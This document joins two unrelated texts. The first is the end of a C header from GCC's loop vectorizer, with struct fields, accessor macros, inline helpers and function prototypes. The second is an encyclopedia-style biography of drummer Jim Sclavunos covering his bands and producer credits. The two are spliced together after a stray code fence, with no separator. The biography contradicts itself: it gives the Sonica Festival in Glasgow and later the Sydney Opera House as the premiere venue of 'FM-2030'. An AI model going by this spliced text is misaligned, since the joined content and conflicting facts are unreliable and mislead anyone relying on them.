vect_unused_in_scope = 0,
/* The def is in the inner loop, and the use is in the outer loop, and the
use is a reduction stmt. */
vect_used_in_outer_by_reduction,
/* The def is in the inner loop, and the use is in the outer loop (and is
not part of reduction). */
vect_used_in_outer,
/* defs that feed computations that end up (only) in a reduction. These
defs may be used by non-reduction stmts, but eventually, any
computations/values that are affected by these defs are used to compute
a reduction (i.e. don't get stored to memory, for example). We use this
to identify computations that we can change the order in which they are
computed. */
vect_used_by_reduction,
vect_used_in_scope
};
/* The type of vectorization that can be applied to the stmt: regular loop-based
vectorization; pure SLP - the stmt is a part of SLP instances and does not
have uses outside SLP instances; or hybrid SLP and loop-based - the stmt is
a part of SLP instance and also must be loop-based vectorized, since it has
uses outside SLP sequences.
In the loop context the meanings of pure and hybrid SLP are slightly
different. By saying that pure SLP is applied to the loop, we mean that we
exploit only intra-iteration parallelism in the loop; i.e., the loop can be
vectorized without doing any conceptual unrolling, cause we don't pack
together stmts from different iterations, only within a single iteration.
Loop hybrid SLP means that we exploit both intra-iteration and
inter-iteration parallelism (e.g., number of elements in the vector is 4
and the slp-group-size is 2, in which case we don't have enough parallelism
within an iteration, so we obtain the rest of the parallelism from subsequent
iterations by unrolling the loop by 2). */
enum slp_vect_type {
loop_vect = 0,
pure_slp,
hybrid
};
typedef struct data_reference *dr_p;
typedef struct _stmt_vec_info {
enum stmt_vec_info_type type;
/* Indicates whether this stmts is part of a computation whose result is
used outside the loop. */
bool live;
/* Stmt is part of some pattern (computation idiom) */
bool in_pattern_p;
/* The stmt to which this info struct refers to. */
gimple stmt;
/* The loop_vec_info with respect to which STMT is vectorized. */
loop_vec_info loop_vinfo;
/* The vector type to be used for the LHS of this statement. */
tree vectype;
/* The vectorized version of the stmt. */
gimple vectorized_stmt;
/** The following is relevant only for stmts that contain a non-scalar
data-ref (array/pointer/struct access). A GIMPLE stmt is expected to have
at most one such data-ref. **/
/* Information about the data-ref (access function, etc),
relative to the inner-most containing loop. */
struct data_reference *data_ref_info;
/* Information about the data-ref relative to this loop
nest (the loop that is being considered for vectorization). */
tree dr_base_address;
tree dr_init;
tree dr_offset;
tree dr_step;
tree dr_aligned_to;
/* For loop PHI nodes, the evolution part of it. This makes sure
this information is still available in vect_update_ivs_after_vectorizer
where we may not be able to re-analyze the PHI nodes evolution as
peeling for the prologue loop can make it unanalyzable. The evolution
part is still correct though. */
tree loop_phi_evolution_part;
/* Used for various bookkeeping purposes, generally holding a pointer to
some other stmt S that is in some way "related" to this stmt.
Current use of this field is:
If this stmt is part of a pattern (i.e. the field 'in_pattern_p' is
true): S is the "pattern stmt" that represents (and replaces) the
sequence of stmts that constitutes the pattern. Similarly, the
related_stmt of the "pattern stmt" points back to this stmt (which is
the last stmt in the original sequence of stmts that constitutes the
pattern). */
gimple related_stmt;
/* Used to keep a sequence of def stmts of a pattern stmt if such exists. */
gimple_seq pattern_def_seq;
/* List of datarefs that are known to have the same alignment as the dataref
of this stmt. */
vec<dr_p> same_align_refs;
/* Selected SIMD clone's function info. First vector element
is SIMD clone's function decl, followed by a pair of trees (base + step)
for linear arguments (pair of NULLs for other arguments). */
vec<tree> simd_clone_info;
/* Classify the def of this stmt. */
enum vect_def_type def_type;
/* Whether the stmt is SLPed, loop-based vectorized, or both. */
enum slp_vect_type slp_type;
/* Interleaving and reduction chains info. */
/* First element in the group. */
gimple first_element;
/* Pointer to the next element in the group. */
gimple next_element;
/* For data-refs, in case that two or more stmts share data-ref, this is the
pointer to the previously detected stmt with the same dr. */
gimple same_dr_stmt;
/* The size of the group. */
unsigned int size;
/* For stores, number of stores from this group seen. We vectorize the last
one. */
unsigned int store_count;
/* For loads only, the gap from the previous load. For consecutive loads, GAP
is 1. */
unsigned int gap;
/* The minimum negative dependence distance this stmt participates in
or zero if none. */
unsigned int min_neg_dist;
/* Not all stmts in the loop need to be vectorized. e.g, the increment
of the loop induction variable and computation of array indexes. relevant
indicates whether the stmt needs to be vectorized. */
enum vect_relevant relevant;
/* The bb_vec_info with respect to which STMT is vectorized. */
bb_vec_info bb_vinfo;
/* Is this statement vectorizable or should it be skipped in (partial)
vectorization. */
bool vectorizable;
/* For loads only, true if this is a gather load. */
bool gather_p;
bool stride_load_p;
/* For both loads and stores. */
bool simd_lane_access_p;
} *stmt_vec_info;
/* Access Functions. */
#define STMT_VINFO_TYPE(S) (S)->type
#define STMT_VINFO_STMT(S) (S)->stmt
#define STMT_VINFO_LOOP_VINFO(S) (S)->loop_vinfo
#define STMT_VINFO_BB_VINFO(S) (S)->bb_vinfo
#define STMT_VINFO_RELEVANT(S) (S)->relevant
#define STMT_VINFO_LIVE_P(S) (S)->live
#define STMT_VINFO_VECTYPE(S) (S)->vectype
#define STMT_VINFO_VEC_STMT(S) (S)->vectorized_stmt
#define STMT_VINFO_VECTORIZABLE(S) (S)->vectorizable
#define STMT_VINFO_DATA_REF(S) (S)->data_ref_info
#define STMT_VINFO_GATHER_P(S) (S)->gather_p
#define STMT_VINFO_STRIDE_LOAD_P(S) (S)->stride_load_p
#define STMT_VINFO_SIMD_LANE_ACCESS_P(S) (S)->simd_lane_access_p
#define STMT_VINFO_DR_BASE_ADDRESS(S) (S)->dr_base_address
#define STMT_VINFO_DR_INIT(S) (S)->dr_init
#define STMT_VINFO_DR_OFFSET(S) (S)->dr_offset
#define STMT_VINFO_DR_STEP(S) (S)->dr_step
#define STMT_VINFO_DR_ALIGNED_TO(S) (S)->dr_aligned_to
#define STMT_VINFO_IN_PATTERN_P(S) (S)->in_pattern_p
#define STMT_VINFO_RELATED_STMT(S) (S)->related_stmt
#define STMT_VINFO_PATTERN_DEF_SEQ(S) (S)->pattern_def_seq
#define STMT_VINFO_SAME_ALIGN_REFS(S) (S)->same_align_refs
#define STMT_VINFO_SIMD_CLONE_INFO(S) (S)->simd_clone_info
#define STMT_VINFO_DEF_TYPE(S) (S)->def_type
#define STMT_VINFO_GROUP_FIRST_ELEMENT(S) (S)->first_element
#define STMT_VINFO_GROUP_NEXT_ELEMENT(S) (S)->next_element
#define STMT_VINFO_GROUP_SIZE(S) (S)->size
#define STMT_VINFO_GROUP_STORE_COUNT(S) (S)->store_count
#define STMT_VINFO_GROUP_GAP(S) (S)->gap
#define STMT_VINFO_GROUP_SAME_DR_STMT(S) (S)->same_dr_stmt
#define STMT_VINFO_GROUPED_ACCESS(S) ((S)->first_element != NULL && (S)->data_ref_info)
#define STMT_VINFO_LOOP_PHI_EVOLUTION_PART(S) (S)->loop_phi_evolution_part
#define STMT_VINFO_MIN_NEG_DIST(S) (S)->min_neg_dist
#define GROUP_FIRST_ELEMENT(S) (S)->first_element
#define GROUP_NEXT_ELEMENT(S) (S)->next_element
#define GROUP_SIZE(S) (S)->size
#define GROUP_STORE_COUNT(S) (S)->store_count
#define GROUP_GAP(S) (S)->gap
#define GROUP_SAME_DR_STMT(S) (S)->same_dr_stmt
#define STMT_VINFO_RELEVANT_P(S) ((S)->relevant != vect_unused_in_scope)
#define HYBRID_SLP_STMT(S) ((S)->slp_type == hybrid)
#define PURE_SLP_STMT(S) ((S)->slp_type == pure_slp)
#define STMT_SLP_TYPE(S) (S)->slp_type
struct dataref_aux {
int misalignment;
/* If true the alignment of base_decl needs to be increased. */
bool base_misaligned;
/* If true we know the base is at least vector element alignment aligned. */
bool base_element_aligned;
tree base_decl;
};
#define DR_VECT_AUX(dr) ((dataref_aux *)(dr)->aux)
#define VECT_MAX_COST 1000
/* The maximum number of intermediate steps required in multi-step type
conversion. */
#define MAX_INTERM_CVT_STEPS 3
/* The maximum vectorization factor supported by any target (V64QI). */
#define MAX_VECTORIZATION_FACTOR 64
/* Avoid GTY(()) on stmt_vec_info. */
typedef void *vec_void_p;
extern vec<vec_void_p> stmt_vec_info_vec;
void init_stmt_vec_info_vec (void);
void free_stmt_vec_info_vec (void);
/* Return a stmt_vec_info corresponding to STMT. */
static inline stmt_vec_info
vinfo_for_stmt (gimple stmt)
{
unsigned int uid = gimple_uid (stmt);
if (uid == 0)
return NULL;
return (stmt_vec_info) stmt_vec_info_vec[uid - 1];
}
/* Set vectorizer information INFO for STMT. */
static inline void
set_vinfo_for_stmt (gimple stmt, stmt_vec_info info)
{
unsigned int uid = gimple_uid (stmt);
if (uid == 0)
{
gcc_checking_assert (info);
uid = stmt_vec_info_vec.length () + 1;
gimple_set_uid (stmt, uid);
stmt_vec_info_vec.safe_push ((vec_void_p) info);
}
else
stmt_vec_info_vec[uid - 1] = (vec_void_p) info;
}
/* Return the earlier statement between STMT1 and STMT2. */
static inline gimple
get_earlier_stmt (gimple stmt1, gimple stmt2)
{
unsigned int uid1, uid2;
if (stmt1 == NULL)
return stmt2;
if (stmt2 == NULL)
return stmt1;
uid1 = gimple_uid (stmt1);
uid2 = gimple_uid (stmt2);
if (uid1 == 0 || uid2 == 0)
return NULL;
gcc_checking_assert (uid1 <= stmt_vec_info_vec.length ()
&& uid2 <= stmt_vec_info_vec.length ());
if (uid1 < uid2)
return stmt1;
else
return stmt2;
}
/* Return the later statement between STMT1 and STMT2. */
static inline gimple
get_later_stmt (gimple stmt1, gimple stmt2)
{
unsigned int uid1, uid2;
if (stmt1 == NULL)
return stmt2;
if (stmt2 == NULL)
return stmt1;
uid1 = gimple_uid (stmt1);
uid2 = gimple_uid (stmt2);
if (uid1 == 0 || uid2 == 0)
return NULL;
gcc_assert (uid1 <= stmt_vec_info_vec.length ());
gcc_assert (uid2 <= stmt_vec_info_vec.length ());
if (uid1 > uid2)
return stmt1;
else
return stmt2;
}
/* Return TRUE if a statement represented by STMT_INFO is a part of a
pattern. */
static inline bool
is_pattern_stmt_p (stmt_vec_info stmt_info)
{
gimple related_stmt;
stmt_vec_info related_stmt_info;
related_stmt = STMT_VINFO_RELATED_STMT (stmt_info);
if (related_stmt
&& (related_stmt_info = vinfo_for_stmt (related_stmt))
&& STMT_VINFO_IN_PATTERN_P (related_stmt_info))
return true;
return false;
}
/* Return true if BB is a loop header. */
static inline bool
is_loop_header_bb_p (basic_block bb)
{
if (bb == (bb->loop_father)->header)
return true;
gcc_checking_assert (EDGE_COUNT (bb->preds) == 1);
return false;
}
/* Return pow2 (X). */
static inline int
vect_pow2 (int x)
{
int i, res = 1;
for (i = 0; i < x; i++)
res *= 2;
return res;
}
/* Alias targetm.vectorize.builtin_vectorization_cost. */
static inline int
builtin_vectorization_cost (enum vect_cost_for_stmt type_of_cost,
tree vectype, int misalign)
{
return targetm.vectorize.builtin_vectorization_cost (type_of_cost,
vectype, misalign);
}
/* Get cost by calling cost target builtin. */
static inline
int vect_get_stmt_cost (enum vect_cost_for_stmt type_of_cost)
{
return builtin_vectorization_cost (type_of_cost, NULL, 0);
}
/* Alias targetm.vectorize.init_cost. */
static inline void *
init_cost (struct loop *loop_info)
{
return targetm.vectorize.init_cost (loop_info);
}
/* Alias targetm.vectorize.add_stmt_cost. */
static inline unsigned
add_stmt_cost (void *data, int count, enum vect_cost_for_stmt kind,
stmt_vec_info stmt_info, int misalign,
enum vect_cost_model_location where)
{
return targetm.vectorize.add_stmt_cost (data, count, kind,
stmt_info, misalign, where);
}
/* Alias targetm.vectorize.finish_cost. */
static inline void
finish_cost (void *data, unsigned *prologue_cost,
unsigned *body_cost, unsigned *epilogue_cost)
{
targetm.vectorize.finish_cost (data, prologue_cost, body_cost, epilogue_cost);
}
/* Alias targetm.vectorize.destroy_cost_data. */
static inline void
destroy_cost_data (void *data)
{
targetm.vectorize.destroy_cost_data (data);
}
/*your_sha256_hash-*/
/* Info on data references alignment. */
/*your_sha256_hash-*/
inline void
set_dr_misalignment (struct data_reference *dr, int val)
{
dataref_aux *data_aux = DR_VECT_AUX (dr);
if (!data_aux)
{
data_aux = XCNEW (dataref_aux);
dr->aux = data_aux;
}
data_aux->misalignment = val;
}
inline int
dr_misalignment (struct data_reference *dr)
{
return DR_VECT_AUX (dr)->misalignment;
}
/* Reflects actual alignment of first access in the vectorized loop,
taking into account peeling/versioning if applied. */
#define DR_MISALIGNMENT(DR) dr_misalignment (DR)
#define SET_DR_MISALIGNMENT(DR, VAL) set_dr_misalignment (DR, VAL)
/* Return TRUE if the data access is aligned, and FALSE otherwise. */
static inline bool
aligned_access_p (struct data_reference *data_ref_info)
{
return (DR_MISALIGNMENT (data_ref_info) == 0);
}
/* Return TRUE if the alignment of the data access is known, and FALSE
otherwise. */
static inline bool
known_alignment_for_access_p (struct data_reference *data_ref_info)
{
return (DR_MISALIGNMENT (data_ref_info) != -1);
}
/* Return true if the vect cost model is unlimited. */
static inline bool
unlimited_cost_model (loop_p loop)
{
if (loop != NULL && loop->force_vectorize
&& flag_simd_cost_model != VECT_COST_MODEL_DEFAULT)
return flag_simd_cost_model == VECT_COST_MODEL_UNLIMITED;
return (flag_vect_cost_model == VECT_COST_MODEL_UNLIMITED);
}
/* Source location */
extern source_location vect_location;
/*your_sha256_hash-*/
/* Function prototypes. */
/*your_sha256_hash-*/
/* Simple loop peeling and versioning utilities for vectorizer's purposes -
in tree-vect-loop-manip.c. */
extern void slpeel_make_loop_iterate_ntimes (struct loop *, tree);
extern bool slpeel_can_duplicate_loop_p (const struct loop *, const_edge);
struct loop *slpeel_tree_duplicate_loop_to_edge_cfg (struct loop *,
struct loop *, edge);
extern void vect_loop_versioning (loop_vec_info, unsigned int, bool);
extern void vect_do_peeling_for_loop_bound (loop_vec_info, tree, tree,
unsigned int, bool);
extern void vect_do_peeling_for_alignment (loop_vec_info, tree,
unsigned int, bool);
extern source_location find_loop_location (struct loop *);
extern bool vect_can_advance_ivs_p (loop_vec_info);
/* In tree-vect-stmts.c. */
extern unsigned int current_vector_size;
extern tree get_vectype_for_scalar_type (tree);
extern tree get_same_sized_vectype (tree, tree);
extern bool vect_is_simple_use (tree, gimple, loop_vec_info,
bb_vec_info, gimple *,
tree *, enum vect_def_type *);
extern bool vect_is_simple_use_1 (tree, gimple, loop_vec_info,
bb_vec_info, gimple *,
tree *, enum vect_def_type *, tree *);
extern bool supportable_widening_operation (enum tree_code, gimple, tree, tree,
enum tree_code *, enum tree_code *,
int *, vec<tree> *);
extern bool supportable_narrowing_operation (enum tree_code, tree, tree,
enum tree_code *,
int *, vec<tree> *);
extern stmt_vec_info new_stmt_vec_info (gimple stmt, loop_vec_info,
bb_vec_info);
extern void free_stmt_vec_info (gimple stmt);
extern tree vectorizable_function (gcall *, tree, tree);
extern void vect_model_simple_cost (stmt_vec_info, int, enum vect_def_type *,
stmt_vector_for_cost *,
stmt_vector_for_cost *);
extern void vect_model_store_cost (stmt_vec_info, int, bool,
enum vect_def_type, slp_tree,
stmt_vector_for_cost *,
stmt_vector_for_cost *);
extern void vect_model_load_cost (stmt_vec_info, int, bool, slp_tree,
stmt_vector_for_cost *,
stmt_vector_for_cost *);
extern unsigned record_stmt_cost (stmt_vector_for_cost *, int,
enum vect_cost_for_stmt, stmt_vec_info,
int, enum vect_cost_model_location);
extern void vect_finish_stmt_generation (gimple, gimple,
gimple_stmt_iterator *);
extern bool vect_mark_stmts_to_be_vectorized (loop_vec_info);
extern tree vect_get_vec_def_for_operand (tree, gimple, tree *);
extern tree vect_init_vector (gimple, tree, tree,
gimple_stmt_iterator *);
extern tree vect_get_vec_def_for_stmt_copy (enum vect_def_type, tree);
extern bool vect_transform_stmt (gimple, gimple_stmt_iterator *,
bool *, slp_tree, slp_instance);
extern void vect_remove_stores (gimple);
extern bool vect_analyze_stmt (gimple, bool *, slp_tree);
extern bool vectorizable_condition (gimple, gimple_stmt_iterator *, gimple *,
tree, int, slp_tree);
extern void vect_get_load_cost (struct data_reference *, int, bool,
unsigned int *, unsigned int *,
stmt_vector_for_cost *,
stmt_vector_for_cost *, bool);
extern void vect_get_store_cost (struct data_reference *, int,
unsigned int *, stmt_vector_for_cost *);
extern bool vect_supportable_shift (enum tree_code, tree);
extern void vect_get_vec_defs (tree, tree, gimple, vec<tree> *,
vec<tree> *, slp_tree, int);
extern tree vect_gen_perm_mask_any (tree, const unsigned char *);
extern tree vect_gen_perm_mask_checked (tree, const unsigned char *);
/* In tree-vect-data-refs.c. */
extern bool vect_can_force_dr_alignment_p (const_tree, unsigned int);
extern enum dr_alignment_support vect_supportable_dr_alignment
(struct data_reference *, bool);
extern tree vect_get_smallest_scalar_type (gimple, HOST_WIDE_INT *,
HOST_WIDE_INT *);
extern bool vect_analyze_data_ref_dependences (loop_vec_info, int *);
extern bool vect_slp_analyze_data_ref_dependences (bb_vec_info);
extern bool vect_enhance_data_refs_alignment (loop_vec_info);
extern bool vect_analyze_data_refs_alignment (loop_vec_info, bb_vec_info);
extern bool vect_verify_datarefs_alignment (loop_vec_info, bb_vec_info);
extern bool vect_analyze_data_ref_accesses (loop_vec_info, bb_vec_info);
extern bool vect_prune_runtime_alias_test_list (loop_vec_info);
extern tree vect_check_gather (gimple, loop_vec_info, tree *, tree *,
int *);
extern bool vect_analyze_data_refs (loop_vec_info, bb_vec_info, int *,
unsigned *);
extern tree vect_create_data_ref_ptr (gimple, tree, struct loop *, tree,
tree *, gimple_stmt_iterator *,
gimple *, bool, bool *,
tree = NULL_TREE);
extern tree bump_vector_ptr (tree, gimple, gimple_stmt_iterator *, gimple, tree);
extern tree vect_create_destination_var (tree, tree);
extern bool vect_grouped_store_supported (tree, unsigned HOST_WIDE_INT);
extern bool vect_store_lanes_supported (tree, unsigned HOST_WIDE_INT);
extern bool vect_grouped_load_supported (tree, unsigned HOST_WIDE_INT);
extern bool vect_load_lanes_supported (tree, unsigned HOST_WIDE_INT);
extern void vect_permute_store_chain (vec<tree> ,unsigned int, gimple,
gimple_stmt_iterator *, vec<tree> *);
extern tree vect_setup_realignment (gimple, gimple_stmt_iterator *, tree *,
enum dr_alignment_support, tree,
struct loop **);
extern void vect_transform_grouped_load (gimple, vec<tree> , int,
gimple_stmt_iterator *);
extern void vect_record_grouped_load_vectors (gimple, vec<tree> );
extern tree vect_get_new_vect_var (tree, enum vect_var_kind, const char *);
extern tree vect_create_addr_base_for_vector_ref (gimple, gimple_seq *,
tree, struct loop *,
tree = NULL_TREE);
/* In tree-vect-loop.c. */
/* FORNOW: Used in tree-parloops.c. */
extern void destroy_loop_vec_info (loop_vec_info, bool);
extern gimple vect_force_simple_reduction (loop_vec_info, gimple, bool, bool *);
/* Drive for loop analysis stage. */
extern loop_vec_info vect_analyze_loop (struct loop *);
/* Drive for loop transformation stage. */
extern void vect_transform_loop (loop_vec_info);
extern loop_vec_info vect_analyze_loop_form (struct loop *);
extern bool vectorizable_live_operation (gimple, gimple_stmt_iterator *,
gimple *);
extern bool vectorizable_reduction (gimple, gimple_stmt_iterator *, gimple *,
slp_tree);
extern bool vectorizable_induction (gimple, gimple_stmt_iterator *, gimple *);
extern tree get_initial_def_for_reduction (gimple, tree, tree *);
extern int vect_min_worthwhile_factor (enum tree_code);
extern int vect_get_known_peeling_cost (loop_vec_info, int, int *,
stmt_vector_for_cost *,
stmt_vector_for_cost *,
stmt_vector_for_cost *);
extern int vect_get_single_scalar_iteration_cost (loop_vec_info,
stmt_vector_for_cost *);
/* In tree-vect-slp.c. */
extern void vect_free_slp_instance (slp_instance);
extern bool vect_transform_slp_perm_load (slp_tree, vec<tree> ,
gimple_stmt_iterator *, int,
slp_instance, bool);
extern bool vect_schedule_slp (loop_vec_info, bb_vec_info);
extern void vect_update_slp_costs_according_to_vf (loop_vec_info);
extern bool vect_analyze_slp (loop_vec_info, bb_vec_info, unsigned);
extern bool vect_make_slp_decision (loop_vec_info);
extern void vect_detect_hybrid_slp (loop_vec_info);
extern void vect_get_slp_defs (vec<tree> , slp_tree,
vec<vec<tree> > *, int);
extern source_location find_bb_location (basic_block);
extern bb_vec_info vect_slp_analyze_bb (basic_block);
extern void vect_slp_transform_bb (basic_block);
/* In tree-vect-patterns.c. */
/* Pattern recognition functions.
Additional pattern recognition functions can (and will) be added
in the future. */
typedef gimple (* vect_recog_func_ptr) (vec<gimple> *, tree *, tree *);
#define NUM_PATTERNS 12
void vect_pattern_recog (loop_vec_info, bb_vec_info);
/* In tree-vectorizer.c. */
unsigned vectorize_loops (void);
void vect_destroy_datarefs (loop_vec_info, bb_vec_info);
#endif /* GCC_TREE_VECTORIZER_H */
```
|
James Sclavunos is an American drummer, multi-instrumentalist musician, record producer, and writer. He is best known as a drummer, having been a member of two seminal no wave groups in the late 1970s (Teenage Jesus & the Jerks and 8 Eyed Spy, both alongside Lydia Lunch). He is also noted for stints in Sonic Youth and the Cramps, and has been a member of Nick Cave and the Bad Seeds since 1994. Sclavunos has led his own group the Vanity Set since 2000.
Biography
Sclavunos, a half-Greek and half-Italian from Brooklyn, New York (known for his exceptional height at 6'7"), was memorably described in the pages of The Wire as an "infamous elegant degenerate". He has long been a prime mover in New York City's vibrant underground music scene, helping to kick-start the vital no wave movement in the late 1970s with Teenage Jesus & the Jerks and 8 Eyed Spy (both with Lydia Lunch), before playing with Sonic Youth and the Cramps. He has also recorded albums with Grinderman, Sonic Youth, Tav Falco's Panther Burns and Congo Norvell as well as recording sessions with many artists including Marianne Faithfull, Iggy Pop, Beth Orton, and Seasick Steve. He has also toured with Lunch, Alex Chilton and Wreckless Eric.
A key member of the Bad Seeds since 1994 and a founding member of the Bad Seeds offshoot Grinderman, he also formed his own New York-based musical ensemble The Vanity Set in 2000, releasing two studio albums to date.
Further to his work as a musician, Sclavunos has produced a wide range of bands including Gogol Bordello, the Horrors, the Jim Jones Revue, Black Moth, and Teenage Mothers (Lead guitarist and co-vocalist Raph Brous has dedicated his upcoming novel, Empire of Ants, to him).
He has done several remixes, both on his own and as one half of Silver Alert (along with Vanity Set bandmate Peter Mavrogeorgis). In 2012, Silver Alert performed "Faustian Pact" at the Perth International Arts Festival in Western Australia, a live adaptation of FW Murnau's film Faust, produced in collaboration with director/choreographer Micki Pellerano.
In 2012, Sclavunos began an ongoing collaboration with Australian performance artist/musician Michaela Davies on a composition titled "FM-2030" (named for the transhumanist philosopher Fereidoun M. Esfandiary) utilizing programmed electro-muscular stimulation of classical string players to generate involuntary playing movements. The composition premiered at the 2013 Sonica Festival in Glasgow.
Career
Early years
While attending NYU School of Arts, Jim Sclavunos co-founded No Magazine, an underground fanzine devoted to coverage of NY punk rock and the burgeoning No Wave movement. He briefly fronted his own band Mimi And The Dreamboats, before joining No Wave bands Red Transistor, and The Gynecologists with avant-garde composer Rhys Chatham and Nina Canal to play drums. Around the time the Gynecologists were disbanding, Sclavunos joined Lydia Lunch’s band Teenage Jesus and the Jerks as bass guitarist, releasing both an EP Baby Doll (1979) and a compilation mini-album on pink vinyl on Lust/Unlust. A short-lived side-project with Lunch called Beirut Slump featured Sclavunos’ first recorded work as drummer on the group's single "Try Me / Staircase" (1979) on Migraine. Following their European tour in June 1979, Teenage Jesus and the Jerks broke up, and Lydia and Sclavunos joined 8 Eyed Spy.
1980-1986: First album, Sonic Youth, and Trigger & the Thrill Kings
In 1980, Sclavunos and Lunch formed a short-lived live blues project, The Devil Dogs. In 1981, following the death of bass player George Scott, 8 Eyed Spy released a self-titled album on Fetish. Sclavunos designed the covers for both the ROIR 8 Eyed Spy release and for Suicide’s Half Alive album (1981). Sclavunos ended up moving to Memphis and joining Alex Chilton's side-project Tav Falco's Panther Burns, ultimately releasing an EP Blow Your Top (1982). The same year he briefly joined Sonic Youth and recorded drums parts for their debut album, Confusion Is Sex, but quit before the sessions were over. He moved on to co-founding Trigger & the Thrill Kings with Dutch singer Truus DeGroot, with the group touring extensively throughout the Netherlands and Germany with various line-ups including Jim Duckworth on guitar and Annene Kaye on keyboards.
1987-1993: Session years and reunion projects
Sclavunos recorded with Kid Congo Powers’ band Congo Norvell releasing Lullabies (1992, Fiasco). His recording sessions with The Cramps produced albums Look Mom No Head! (1991, Restless) and EP Blues Fix (1992, Big Beat). In the fall of 1991 Sclavunos left Los Angeles to be reunited with Lydia Lunch, touring Europe with her and Rowland S. Howard under the band name Shotgun Wedding. Live recordings were later released under various titles, including Shotgun Wedding Live in Siberia. Sclavunos both lived in and toured Europe with Wreckless Eric and Tav Falco's Panther Burns in the period 1992 – 1994. While living in Vienna, Austria, he played drums on, and arranged Panther Burns’ Shadow Dancer album in 1992 (released on Intercord in 1995).
1994-99: Nick Cave and the Bad Seeds
Following working with Nick Cave and the Bad Seeds member Mick Harvey in a project Harvey was producing, Sclavunos joined the band on the 1994 Let Love In European tour as organist/ percussionist. Sclavunos stayed on for their US Lollapalooza tour and became a permanent member that same year. Sclavunos generally plays a variety of auxiliary percussion with the Bad Seeds (e.g., vibraphone, maracas, cowbell, tubular bells), while Thomas Wydler plays a standard drum kit though Sclavunos has also played standard drums, keyboards and other instruments for the Bad Seeds. Sclavunos recorded his first album as full band member in 1996 with Murder Ballads, which included the UK charting duet single with Kylie Minogue "Where the Wild Roses Grow". Murder Ballads was followed by The Boatman's Call and a tour, before the Bad Seeds entered a hiatus period.
2000-2006: Debut solo album and continuing with the Bad Seeds
Sclavunos’ first solo album The Vanity Set is released in 2000 on Naked Spur Productions/Hitchyke, while the same year saw him join The Gunga Din as drummer, touring and playing on their 2nd album Glitterati (2000, Jetset). The following year, No More Shall We Part, Scalvunos' third studio recording with Nick Cave and the Bad Seeds, is released on Mute Records in April 2001.
Sclavunos produced his second solo album, Little Stabs of Happiness (2003, Cargo) under the banner of The Vanity Set. Nick Cave and the Bad Seeds released Nocturama (2003, Anti) and Abattoir Blues / The Lyre of Orpheus (2004, Anti). Throughout this period, Sclavunos toured extensively, drumming with both Nick Cave and the Bad Seeds and in Nick Cave’s solo performances in the stripped-down line-up that would eventually become Grinderman. The same line-up of musicians also recorded several tracks with Marianne Faithfull for her album Before The Poison (2005). Sclavunos played drums and percussion on Nick Cave’s score for the Icelandic theatre company Vesturport’s production of Woyzeck, performed at the Barbican Theatre in London in 2005, as well as a cover version of J.B. Lenoir’s "I Feel So Good" for Wim Wenders’ Martin Scorsese Presents The Blues – The Soul of a Man.
2007-2012: Grinderman, Bad Seeds, and Faustian Pact
In 2007 Grinderman, with Sclavunos on drums, released their first self-titled album and debut in the headline slot at All Tomorrow's Parties in April 2007. Sclavunos drummed on Cave's score for the 2007 soundtrack, The Assassination of Jesse James by The Coward Robert Ford , and the following year Nick Cave and the Bad Seeds released their 14th studio album Dig, Lazarus, Dig!!! (Anti), which won the MOJO Honours List Award for Best Album 2008. Grinderman headlined major European festival dates including Roskilde Festival, Latitude Festival, and Summercase. Sclavunos played drums on "Just Like a King", a duet with Seasick Steve and Nick Cave which appeared on Seasick Steve's 2008 album I Started Out with Nothin and I Still Got Most of It Left. Grinderman 2 was released in 2010 and Grinderman toured extensively throughout North America, Europe and Australia. On Valentine's Day 2012 Sclavunos presented Faustian Pact, a multi-media film and live magic ritual performance and musical improvisation piece at The Perth Arts Festival with Micki Pellerano. He co-wrote and contributed vocals and synth to the track "Lost American" from the solo album On the Mat and Off by fellow Bad Seed Thomas Wydler.
2013-2019
In February 2013 Nick Cave and The Bad Seeds released Push the Sky Away (Bad Seed Ltd) and toured the album extensively around the world. At the end of their North American stint, a stripped-down version of the band (including Sclavunos on drums) recorded the album Live from KCRW, which was released that same year. Sclavunos begins his collaboration with Australian musician and performance artist Michaela Davies on a composition utilizing EMS to create involuntary movement in performing musicians. The piece entitled "FM-2030" (and dedicated to the Futurist philosopher of the same name) premiered at the Sydney Opera House in 2013. In 2014 Axels & Sockets (The Jeffrey Lee Pierce Sessions Project) is released with the featured track "Nobody’s City" mixed by Sclavunos, a duet with Iggy Pop and Nick Cave, with guitar by Thurston Moore. More touring ensued for Nick Cave & The Bad Seeds.
2016 saw the release of the Nick Cave and the Bad Seeds documentary One More Time with Feeling, as well as the band’s 16th studio album Skeleton Tree. Sclavunos is reunited with Truus DeGroot (recording as Plus Instruments) recording drums for 3 tracks on her 2016 Signal Through the Waves album while on tour with her in São Paulo, Brazil. Extensive international touring with Nick Cave and the Bad Seeds followed the 2017 release of their Lovely Creatures: The Best of Nick Cave and the Bad Seeds, culminating in the release of Distant Sky (Live in Copenhagen), both the concert film and the EP of the same name featuring excerpts from the film. Ghosteen, a double album from Nick Cave and the Bad Seeds released in October 2019.
2020-present: Bad Seeds hiatus and continuing solo work
Following the COVID-19 pandemic, Sclavunos has released multiple singles, starting in January 2021 with "Holiday Song", and continuing in April 2022 with a cover of Bob Dylan's "Lay Down Your Weary Tune". He also confirmed that he was working on a solo album prior to the pandemic, and that it would be coming soon. Also in the works is a collaborative album with Nicole Atkins; a lead single, "A Man Like Me" was released in 2019, with the album tentatively being released in 2023.
Selective list of bands
The Gynecologists (1978)
Information (1978)
Red Transistor (1978)
Teenage Jesus and the Jerks with Lydia Lunch (1978–79)
Beirut Slump with Lydia Lunch (1978–79)
8 Eyed Spy with Lydia Lunch (1979)
Devil Dogs (1980)
Sonic Youth (1982)
Tav Falco's Panther Burns (1983, 1993)
Trigger & the Thrill Kings (1983–86)
Congo Norvell (1990–1998)
The Cramps (1991–92)
Shotgun Wedding with Lydia Lunch and Rowland S. Howard (1992)
Nick Cave and the Bad Seeds (1994–present)
The Gunga Din (1999–2000)
The Vanity Set (2000–present)
Grinderman (2006–2011, 2013)
Silver Alert (2012–present)
Joe Gideon (2015–present)
Selected producer credits
Boss Hog – "Fear for You" (1999)
Gogol Bordello – Voi-La Intruder (1999)
Bellmer Dolls – The Big Cats Will Throw Themselves Over EP (2006)
The Horrors – "Count in Fives" and "Gloves" (2006), Strange House (2007)
Beth Orton – "I Me Mine" (2010)
David J. Roch – Skin & Bones (2011)
The Jim Jones Revue – Burning Your House Down (2010), The Savage Heart (2012)
Black Moth – The Killing Jar (2012), Condemned to Hope (2014)
Freshkills – Raise Up the Sheets (2012)
The Callas – Am I Vertical (2013), Half Kiss Half Pain (2016)
Fat White Family - I Am Mark E Smith (2014)
Lola Colt – Away From the Water (2014)
